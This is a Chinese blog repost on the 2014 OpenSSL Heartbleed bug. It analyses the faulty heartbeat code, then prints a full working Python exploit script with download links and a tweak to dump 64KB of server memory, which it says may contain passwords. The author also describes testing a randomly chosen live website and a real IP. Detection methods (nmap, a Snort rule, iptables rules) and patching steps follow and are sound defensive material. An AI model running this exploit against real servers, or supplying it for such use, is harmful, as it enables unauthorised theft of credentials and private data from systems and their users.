溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

Openssl“心臟出血”漏洞分析及其利用

發(fā)布時(shí)間:2020-07-30 11:59:01 來源:網(wǎng)絡(luò) 閱讀:5435 作者:simeon2005 欄目:安全技術(shù)
本帖最后由 simeon 于 2014-4-11 10:54 編輯

www.antian365.com simeon
一、openssl漏洞形成原因
4月7日,互聯(lián)網(wǎng)安全協(xié)議OpenSSL被曝存在一個(gè)十分嚴(yán)重的安全漏洞。在***社區(qū),它被命名為“心臟出血”,表明網(wǎng)絡(luò)上出現(xiàn)了“致命內(nèi)傷”。利用該漏洞,***可以獲取約30%的https開頭網(wǎng)址的用戶登錄賬號(hào)密碼,其中包括購(gòu)物、網(wǎng)銀、社交、門戶等類型的知名網(wǎng)站。該漏洞最早公布時(shí)間為4月7日,原文作者為Sean Cassidy 在其blog上發(fā)表“existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug”(http://blog.existentialize.com/d ... heartbleed-bug.html)。2014年4月7日OpenSSL發(fā)布了安全公告,在OpenSSL1.0.1版本中存在嚴(yán)重漏洞(CVE-2014-0160),此次漏洞問題存在于ssl/dl_both.c文件中。OpenSSL Heartbleed模塊存在一個(gè)BUG,當(dāng)***者構(gòu)造一個(gè)特殊的數(shù)據(jù)包,滿足用戶心跳包中無法提供足夠多的數(shù)據(jù)會(huì)導(dǎo)致memcpy把SSLv3記錄之后的數(shù)據(jù)直接輸出,該漏洞導(dǎo)致***者可以遠(yuǎn)程讀取存在漏洞版本的openssl服務(wù)器內(nèi)存中長(zhǎng)大64K的數(shù)據(jù)。
1.漏洞分析
漏洞存在文件ssl/dl_both.c,漏洞的補(bǔ)丁從這行語(yǔ)句開始:
int            
dtls1_process_heartbeat(SSL *s)
   {          
   unsigned char *p = &s->s3->rrec.data[0], *pl;
   unsigned short hbtype;
   unsigned int payload;
   unsigned int padding = 16; /* Use minimum padding */
結(jié)構(gòu)體SSL3_RECORD的定義如下
typedef struct ssl3_record_st
   {
       int type;               /* type of record */
       unsigned int length;    /* How many bytes available */
       unsigned int off;       /* read/write offset into 'buf' */
       unsigned char *data;    /* pointer to the record data */
       unsigned char *input;   /* where the decode bytes are */
       unsigned char *comp;    /* only used with decompression - malloc()ed */
       unsigned long epoch;    /* epoch number, needed by DTLS1 */
       unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */
   } SSL3_RECORD;
每條SSLv3記錄中包含一個(gè)類型域(type)、一個(gè)長(zhǎng)度域(length)和一個(gè)指向記錄數(shù)據(jù)的指針(data)。在dtls1_process_heartbeat中:
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;
SSLv3記錄的第一個(gè)字節(jié)標(biāo)明了心跳包的類型。宏n2s從指針p指向的數(shù)組中取出前兩個(gè)字節(jié),并把它們存入變量payload中——這實(shí)際上是心跳包載荷的長(zhǎng)度域(length)。注意程序并沒有檢查這條SSLv3記錄的實(shí)際長(zhǎng)度。變量pl則指向由訪問者提供的心跳包數(shù)據(jù)。
這個(gè)函數(shù)的后面進(jìn)行了以下工作:
unsigned char *buffer, *bp;
int r;
/* Allocate memory for the response, size is 1 byte
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
所以程序?qū)⒎峙湟欢斡稍L問者指定大小的內(nèi)存區(qū)域,這段內(nèi)存區(qū)域最大為 (65535 + 1 + 2 + 16) 個(gè)字節(jié)。變量bp是用來訪問這段內(nèi)存區(qū)域的指針。
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
宏s2n與宏n2s干的事情正好相反:s2n讀入一個(gè)16 bit長(zhǎng)的值,然后將它存成雙字節(jié)值,所以s2n會(huì)將與請(qǐng)求的心跳包載荷長(zhǎng)度相同的長(zhǎng)度值存入變量payload。然后程序從pl處開始復(fù)制payload個(gè)字節(jié)到新分配的bp數(shù)組中——pl指向了用戶提供的心跳包數(shù)據(jù)。最后,程序?qū)⑺袛?shù)據(jù)發(fā)回給用戶。
2.用戶可以控制變量payload和pl成為可利用漏洞
如果用戶并沒有在心跳包中提供足夠多的數(shù)據(jù),會(huì)導(dǎo)致什么問題?比如pl指向的數(shù)據(jù)實(shí)際上只有一個(gè)字節(jié),那么memcpy會(huì)把這條SSLv3記錄之后的數(shù)據(jù)——無論那些數(shù)據(jù)是什么——都復(fù)制出來。
二、可利用POC及其測(cè)試
1、poc獲取
漏洞公布后不久網(wǎng)上就出現(xiàn)了國(guó)外牛人們寫的POC,在該漏洞發(fā)布的第一時(shí)間我們對(duì)此漏洞進(jìn)行了分析與驗(yàn)證是否能夠獲取一些敏感信息。漏洞發(fā)布的同時(shí)***可利用的腳本也已經(jīng)在網(wǎng)絡(luò)中流傳。下面漏洞利用腳本的下載地址:
http://s3.jspenguin.org/ssltest.py  (python腳本)
http://pan.baidu.com/s/1nt3BnVB  (python腳本)
https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py
https://raw.githubusercontent.co ... ter/ssltest-stls.py
網(wǎng)上在線檢測(cè):
http://possible.lv/tools/hb/
http://filippo.io/Heartbleed/
2. poc代碼
將以下代碼保存為ssltest.py文件,Poc代碼如下:

  1. #!/usr/bin/python


  2. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email]jspenguin@jspenguin.org[/email])

  3. # The author disclaims copyright to this source code.


  4. import sys

  5. import struct

  6. import socket

  7. import time

  8. import select

  9. import re

  10. from optparse import OptionParser


  11. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

  12. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')


  13. def h3bin(x):

  14.    return x.replace(' ', '').replace('\n', '').decode('hex')


  15. hello = h3bin('''

  16. 16 03 02 00  dc 01 00 00 d8 03 02 53

  17. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf

  18. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00

  19. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88

  20. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c

  21. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09

  22. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44

  23. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c

  24. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11

  25. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04

  26. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19

  27. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08

  28. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13

  29. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00

  30. 00 0f 00 01 01                                  

  31. ''')


  32. hb = h3bin('''

  33. 18 03 02 00 03

  34. 01 40 00

  35. ''')


  36. def hexdump(s):

  37.    for b in xrange(0, len(s), 16):

  38.        lin = [c for c in s[b : b + 16]]

  39.        hxdat = ' '.join('%02X' % ord(c) for c in lin)

  40.        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

  41.        print '  %04x: %-48s %s' % (b, hxdat, pdat)

  42.    print


  43. def recvall(s, length, timeout=5):

  44.    endtime = time.time() + timeout

  45.    rdata = ''

  46.    remain = length

  47.    while remain > 0:

  48.        rtime = endtime - time.time()

  49.        if rtime < 0:

  50.            return None

  51.        r, w, e = select.select([s], [], [], 5)

  52.        if s in r:

  53.            data = s.recv(remain)

  54.            # EOF?

  55.            if not data:

  56.                return None

  57.            rdata += data

  58.            remain -= len(data)

  59.    return rdata



  60. def recvmsg(s):

  61.    hdr = recvall(s, 5)

  62.    if hdr is None:

  63.        print 'Unexpected EOF receiving record header - server closed connection'

  64.        return None, None, None

  65.    typ, ver, ln = struct.unpack('>BHH', hdr)

  66.    pay = recvall(s, ln, 10)

  67.    if pay is None:

  68.        print 'Unexpected EOF receiving record payload - server closed connection'

  69.        return None, None, None

  70.    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))

  71.    return typ, ver, pay


  72. def hit_hb(s):

  73.    s.send(hb)

  74.    while True:

  75.        typ, ver, pay = recvmsg(s)

  76.        if typ is None:

  77.            print 'No heartbeat response received, server likely not vulnerable'

  78.            return False


  79.        if typ == 24:

  80.            print 'Received heartbeat response:'

  81.            hexdump(pay)

  82.            if len(pay) > 3:

  83.                print 'WARNING: server returned more data than it should - server is vulnerable!'

  84.            else:

  85.                print 'Server processed malformed heartbeat, but did not return any extra data.'

  86.            return True


  87.        if typ == 21:

  88.            print 'Received alert:'

  89.            hexdump(pay)

  90.            print 'Server returned error, likely not vulnerable'

  91.            return False


  92. def main():

  93.    opts, args = options.parse_args()

  94.    if len(args) < 1:

  95.        options.print_help()

  96.        return


  97.    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  98.    print 'Connecting...'

  99.    sys.stdout.flush()

  100.    s.connect((args[0], opts.port))

  101.    print 'Sending Client Hello...'

  102.    sys.stdout.flush()

  103.    s.send(hello)

  104.    print 'Waiting for Server Hello...'

  105.    sys.stdout.flush()

  106.    while True:

  107.        typ, ver, pay = recvmsg(s)

  108.        if typ == None:

  109.            print 'Server closed connection without sending Server Hello.'

  110.            return

  111.        # Look for server hello done message.

  112.        if typ == 22 and ord(pay[0]) == 0x0E:

  113.            break


  114.    print 'Sending heartbeat request...'

  115.    sys.stdout.flush()

  116.    s.send(hb)

  117.    hit_hb(s)


  118. if __name__ == '__main__':

  119.    main()


復(fù)制代碼

3.具體測(cè)試方法
openssl.py / ssltest.py,用法:python openssl.py ip/域名 -p 端口
網(wǎng)上POC作者公布的代碼每次只dump 16kb 內(nèi)存,如果需要dump 64kb內(nèi)存需要做如下修改:
hb = h3bin('''
18 03 02 00 03
01 40 00  //此處修改為01 ff ff
''')
將“for b in xrange(0, len(s), 16)”改成“for b in xrange(0, len(s), 64)”
后期還出現(xiàn)支持支持smtp, pop3, imap, ftp, or xmpp的POC(http://lcx.cc/?i=4276)。
三、openssl檢測(cè)技術(shù)
利用openssl心臟出血漏洞利用代碼,筆者第一時(shí)間進(jìn)行測(cè)試,測(cè)試分為兩個(gè)方面,一個(gè)是通過網(wǎng)頁(yè)在線檢測(cè),另外就是通過腳本直接獲取內(nèi)存內(nèi)容。
1.網(wǎng)頁(yè)檢測(cè)
網(wǎng)頁(yè)檢測(cè)使用網(wǎng)站“http://possible.lv/tools/hb/”效果較好,打開該頁(yè)面后,在輸入框中輸入網(wǎng)站域名地址即可,如果默認(rèn)端口不是443,則需要輸入具體的端口,例如www.somesite.com:4433,則表示端口為4433,檢測(cè)會(huì)有進(jìn)度條顯示,100%后,會(huì)在下面顯示檢測(cè)結(jié)果。如圖1所示,則表示不存在漏洞。隨機(jī)更換一個(gè)網(wǎng)站地址,如圖2所示,獲取該網(wǎng)站存在漏洞。
Openssl“心臟出血”漏洞分析及其利用
圖1在線檢測(cè)漏洞
Openssl“心臟出血”漏洞分析及其利用
圖2獲取kuaiyinpan.com存在漏洞
2.通過py腳本進(jìn)行檢測(cè)
在linux 終端窗口中輸入“python ssltest.py 66.175.219.225  -p 443”命令,如圖3所示獲取該漏洞提示信息“ver=0302”該版本表示存在漏洞。在獲取的內(nèi)容中可能會(huì)包含用戶密碼和用戶名等信息。
Openssl“心臟出血”漏洞分析及其利用
圖3通過py腳本進(jìn)行測(cè)試
3.對(duì)存在漏洞的網(wǎng)站進(jìn)行掃描檢測(cè)
下載nmap最新版本,在本地進(jìn)行編譯,或者使用命令進(jìn)行更新“nmap --script-updatedb”,或者下載“wgethttps://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse”,世界測(cè)試過程中直接下載該腳本會(huì)缺少一些模塊,然后通過以下命令進(jìn)行掃描:
nmap -p 443 --script ssl-heartbleed 66.175.219.225
如果存在漏洞,則會(huì)給出該漏洞的相關(guān)提示,如圖4所示。
Openssl“心臟出血”漏洞分析及其利用
圖4掃描檢測(cè)存在漏洞服務(wù)器
4.通用Snort規(guī)則檢測(cè)
由于眾所周知的SSL協(xié)議是加密的,我們目前沒有找到提取可匹配規(guī)則的方法,我們嘗試編寫了一條基于返回?cái)?shù)據(jù)大小的檢測(cè)規(guī)則,其有效性我們會(huì)繼續(xù)驗(yàn)證,如果有問題歡迎反饋。alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"openssl Heartbleed attack";flow:to_server,established; content:"|18 03|"; depth: 3; byte_test:2, >, 200, 3, big; byte_test:2, <, 16385, 3, big; threshold:type limit, track by_src, count 1, seconds 600; reference:cve,2014-0160; classtype:bad-unknown; sid:20140160; rev:2;)
Snort規(guī)則說明:此次漏洞主要針對(duì)的SSL協(xié)議。是針對(duì)心跳數(shù)據(jù)包前4個(gè)字節(jié)中包含\x18\x03,而在數(shù)據(jù)包第5個(gè)字節(jié)和第6個(gè)字節(jié)的數(shù)值按大尾模式轉(zhuǎn)化成數(shù)值在200和16385之間,在后面則是一些報(bào)警和過濾功能,日志記錄里,每10分鐘記錄一次。
四、修復(fù)建議
   1.openssl心臟出血漏洞受影響版本
通過實(shí)際測(cè)試,受影響版本:
OpenSSL 1.0.2-beta
OpenSSL 1.0.1 - OpenSSL 1.0.1f
不受影響版本:
OpenSSL 1.0.1g is NOT vulnerable
OpenSSL 1.0.0 branch is NOT vulnerable
OpenSSL 0.9.8 branch is NOT vulnerable
2.修復(fù)建議
(1)升級(jí)openssl軟件。要解決此漏洞,建議服務(wù)器管理員或使用1.0.1g版,或使用-DOPENSSL_NO_HEARTBEATS選項(xiàng)重新編譯OpenSSL,從而禁用易受***的功能,直至可以更新服務(wù)器軟件。(OpenSSL官方)最新版本升級(jí)地址為:https://www.openssl.org/source/.
(2)重新編譯OpenSSL并去掉DOPENSSL_NO_HEARTBEATS擴(kuò)展。
$ echo -e "B\n" | openssl s_client -connect targetwebsite:443 -tlsextdebug 2>&1| grep 'heartbeart'
(3)如果不能升級(jí)OpenSSL可以更新IPTable防火墻規(guī)則。t# Log rules
iptables -t filter -A INPUT  -p tcp --dport 443  -m u32 --u32 \
"52=0x18030000:0x1803FFFF" -j LOG --log-prefix "BLOCKED: HEARTBEAT"
# Block rules
iptables -t filter -A INPUT  -p tcp --dport 443  -m u32 --u32 \ "52=0x18030000:0x1803FFFF" -j DROP
3.centos修復(fù)方法參考
(1)yum方法安裝
yum search openssl
yum install openssl    
/etc/init.d/nginx restart   #然后重啟nginx
(2)下載編譯安裝
wget http://www.openssl.org/source/openssl-1.0.1g.tar.gz
cd openssl-1.0.1g
./config
make && make install
/etc/init.d/nginx restart #重啟nginx

參考文章:
(1)http://blog.existentialize.com/d ... heartbleed-bug.html
(2)http://drops.wooyun.org/papers/1381
(3)http://bbs.safedog.cn/thread-60096-1-1.html
(4)http://www.techweb.com.cn/ucweb/news/id/2025856
(5)測(cè)試工具包下載地址:
http://www.antian365.com/forum.p ... id=12061&extra=
http://www.antian365.com/tools/0day/openssl.zip
(6)判斷是否支持Heartbeat的NSE腳本http://www.freebuf.com/articles/system/31499.html


向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI